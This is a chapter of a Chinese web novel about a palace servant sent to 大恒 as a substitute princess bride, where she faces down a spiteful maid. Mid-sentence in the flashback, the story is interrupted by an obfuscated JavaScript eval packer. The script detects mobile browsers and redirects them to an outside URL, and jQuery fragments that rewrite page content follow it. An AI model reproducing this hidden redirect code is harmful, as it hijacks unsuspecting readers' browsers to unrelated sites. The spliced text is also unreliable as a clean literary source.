大恒长宁十三年,于绥宁大败南诏,遂下三千里,直逼南诏国都。
彼时大恒太子祈福祭祀,竟卜出异象。观星使推测,若继续与南诏开战,恐劳民伤财,届时国库空亏,百姓动荡。
于此,大恒太子便向诏国主递了一道和亲令,要求南诏国主将其最喜爱的女儿送往大恒,与刚归永宁都城的九皇子和亲。既能止戈,还能退还六城。
可南诏国主膝下只有一女,该女子听闻,撞墙以死明志,发誓永不嫁与大恒,做大恒的附属!
南诏国主听闻,潸然泪下,为保护自己心爱的女儿,养育在道馆的二公主代替长公主和亲,以蒙混过关。
这事儿传到大恒太子耳边,非但不恼不怒,还欣喜异常。为表示这场旷世的和亲,大恒太子还特地多归还了一城。
此事,天下人皆知,可嘲笑二人,毕竟大恒太子是实打实的厌恶九皇子,而这二公主,也不过是南诏国主丢出去的烫手山芋。
至此,二人和亲的事迹,成了天下人饭后茶余的闲话,上至老弱妇孺,下至蹩脚乞丐,是个人,都能说上几句。
而在这场和亲舆论的风暴中的主人公——柳千柚,现在应该称呼为南柚,南诏国二公主殿下,正搭着马车进入大恒的国都——永宁。
在去往永宁的路上,柳千柚一行人经过一座枫树山,漫山遍野的枫树,在微风的轻抚下,细细作响。
柳千柚一行人就在这座山上歇息,吃点东西,好接下来赶路。
柳千柚见每个人都去做事了,没有人围在她身边,就这么舒舒服服的搭着马车边缘,赏着这边秀美的风景,想象着秋天来临时,整座山红枫肆意飞扬的画面,那该有多美啊。
如果有机会的话,柳千柚一定想来这里,度过那一年的秋天。
柳千柚就这么听着枫叶细细作响的声音,此时却有衣料摩擦的声音破坏了这场音乐剧。
柳千柚微微睁眼,抬眉看向来人,正是长公主的贴身丫鬟——芷叁。
此人正横眉怒脸的看着她,跟深山里的吃人怪物一样一样,她道:“你最好别动歪心思,给我乖乖的坐在马车上。”
柳千柚一脸茫然,何意为?
柳千柚不解道:“什么歪心思?”
芷叁先是哼了一口恶气,不带正眼人,道:“别以为我不知道你天天趴在马车窗棂上是想做什么,我告诉你,你现在就是想跑,我立刻叫人打断你的腿!再把你拖到永宁九皇子府中和亲去!”
柳千柚长“哦”了一句,便道:“芷叁对我很是关心呢,连我小憩都要时时刻刻守在一旁,佩服佩服。这一路上,能有芷叁姑娘保驾护航,实乃三生有幸。”
芷叁一听,跟吃了苍蝇一样,辩解道:“谁护着你,你也忒给自己抬身份了。也不想想,你这身份上怎么来的!我告诉你,就算你现在的身份是南诏二公主,你也不过是一个低等的洒扫宫女。现在在整个送亲队伍里,我才是最大的!”
噢~原来是这样。柳千柚这下子可明白这人找茬的根据了,原来是瞧不上她从底层宫女爬到二公主的位置。
柳千柚装小白花,脸上无辜,可嘴一点也不无辜:“可这是国主的旨意,要不,芷叁姑娘去求国主撤回这道旨意?”
倏然,芷叁的脸忽青忽白,道:“你!你别以为你现在是公主就可以肆意妄为!”
柳千柚道:“若你对我不满,那你大可去求国主撤回旨意,让长公主立刻骑马赶去永宁和亲。就不知道你家长公主愿不愿意了……”
芷叁一听还好,越听,那是恨不得拿块布料塞进柳千柚的嘴里。她满脸惊恐道:“住口!我没这意思!”
这不,机会来了,柳千柚抓紧进攻机会道:“那你是什么意思呢?你不就是觉得我德不配位吗,凭什么我一个洒扫宫女都能摇身一变,飞上枝头变凤凰,而你在长公主身边做事做了那么久,却还只是一个不上不下的二等侍女。上接触不到国主国后,下接触不到王公贵族,找不到摆脱奴籍的办法。而你一看到我,就觉得不甘,不公平,所以这一路上,你肯定憋了很久了,趁马夫侍卫休息时,才敢单独前来对我发令。”
此话一出,芷叁煞白,支支吾吾:“我……我……我没。”
柳千柚打断道:“你有。你好不容易得了个出人头地、发号施令的美差,怎么可能不想炫耀一下。尤其是对我这个冒牌公主,怎么想,也得打压一下,威慑一下。”
“你!”芷叁听不下去,便伸手打人。
柳千柚顿时截住芷叁的手,滔滔不绝的说下去:“我什么?戳穿了你的真实目的?还是你那颗脆弱至极的心灵。噢,我忘说了。你以为你得到送亲大使是件美差,实则不然。这名头听得响亮,但这只不过是长公主把你摘出去的方法而已。”
此时的芷叁,一脸茫然,难以置信道:“摘出去,不,不,不可能!你在撒谎!你恶意揣测长公主,长公主不是那样的人!长公主说过,只要我把你安全送到永宁,回去后,她就会提拔我为一等侍女!”
柳千柚疑问:“旨意都能朝令夕改,况且口头约定。你也不想想,为什么你在长公主身边那么久,她都没提拔你,偏偏这次要提拔。”
说完,柳千柚侧撑的有点酸,坐起来道:“我悄悄告诉你一个秘密。长公主早就知道你想接触王公贵族,一跃成贵人,所以,她借着这个机会,正好一脚把你踢出去。”
芷叁完全傻眼了,现在是什么话也说不出,一副欲言又止的模样,最后红着眼眶,掀开帘子跑了出去。
柳千柚见人离开,整理幕帘,摇摇头。
这叫芷叁的宫女,有能力有野心,可惜就是心太野了,就算这人很忠心长公主,也抵不过想要改变身份的想法。
而且这人脾气也不好,以前在宫中的时候,这人就经常挑她的刺儿,经常让她干些重活,不为别的,就因为她这张脸。
想到这里,柳千柚不禁扶额。
要说这场替嫁和亲缘由,还真是这张脸惹得祸。遥想大公主那天在皇宫的歇斯底里的吼叫,为什么她知道这件事情呢,因为她那天正好在公主殿打扫卫生,躲在墙角里。
那天,大公主是这样的。
柳千柚知道这位大公主平时典雅大方,这次却跟个疯婆子一样,对着国主吼叫:“我不嫁!我不嫁!我说了多少次,我就是不嫁!”
另一旁的国主,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347656|199550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也是苦苦流泪,不忍心说:“儿啊,孤的儿啊。孤怎么这么命苦呢!”说完一句,就往大腿上拍一次。
柳千柚不明所以,就问了问和她关系好,还爱八卦的宫女。
这人说,因为南诏吃了败仗,国土一泻千里,若国主不和亲,南诏就要灭国了。
柳千柚很疑惑,大恒有这么强的兵力,怎么不把南诏一口吃下。
该宫女继续回答:“因为大恒占卜出了异象,所以就不打了,以和亲止戈。”
柳千柚这才点头,不得不说,这古代人还真迷信异象,不过这都不关她的事儿,她只要能活下去,都行。
然而这样的情景,几乎每天都在公主殿内上演,久而久之,公主殿的奴仆们都已经习惯了。
但,某一天出了转折点。
这天国主兴高采烈的进来,非常朗快的说:“儿啊!孤知道怎么解决这桩婚事了!”
此话一出,柳千柚竖起耳朵,在大殿后头的柱子偷听。
“父皇,是什么办法?”
国主道:“孤找大臣们连夜想了个法子,找个和你相似的人,代替你嫁过去,不就成了?”
公主疑惑:“父皇你是认真的?那大恒太子可不是吃素,你不怕惹恼他,然后把我们灭国了?”
国主不屑道:“你还不知道和你结亲的是哪位吗?那位跟大恒太子的私仇,可是举国上下都知道的。孤这一招,是顺了这位太子的心意。”
公主道:“哪位?”
国主道:“那位九皇子啊。”
公主若有所思:“十五岁镇守大恒北境,击溃胡人,退兵千里,称战神的那位?”
国主道:“除了他,还有谁跟太子有私仇啊。”
公主却道:“你这么说,我到想起来一件事情了,他是不是在欤城那一战战败,战线反推几十里,丢了四五座城池,最后腿还受伤了。”
国主道:“是啊。这位太子呢,就跟大恒皇帝说,把九皇子接回来好好养伤,也是为了安抚北境军队的心。”
公主道:“嗤,这么来说,父皇还顺势附和了这位太子。”
国主道:“为了我宝贝女儿,值得。不过,儿啊,你知道有哪些人跟你长得像吗?”
公主一听,在大殿内扫了一圈,最后指向柱子后面藏的人,正是柳千柚。她道:“就她吧。”
就这样,柳千柚稀里糊涂的被封了二公主,安排了一大堆的嫁妆,浩浩荡荡的送出皇城,前往大恒国都永宁和亲。
这一路上,柳千柚还是受到了不少窥视,有人羡慕,有人怨恨,有人忿忿不平。
不过,这跟她有什么关系,她只是想好好活下去。无论是做苦力宫女,还是受人嘲讽的二公主,只要活下去,就行。
过了许久,南诏的送亲队伍再次踏上征途,于结亲前两天到达了永宁,被安排在了一座风景秀美的小院,当做闺阁。
到达的第二天,守门的侍卫传话过来,说是九皇子府的管事送了一样东西过来。
据守卫的人复述道:这人非要要把东西亲自送到二公主手上,确认是二公主拿到了,才肯离去。不然,就在二公主的临时闺阁前长跪不起。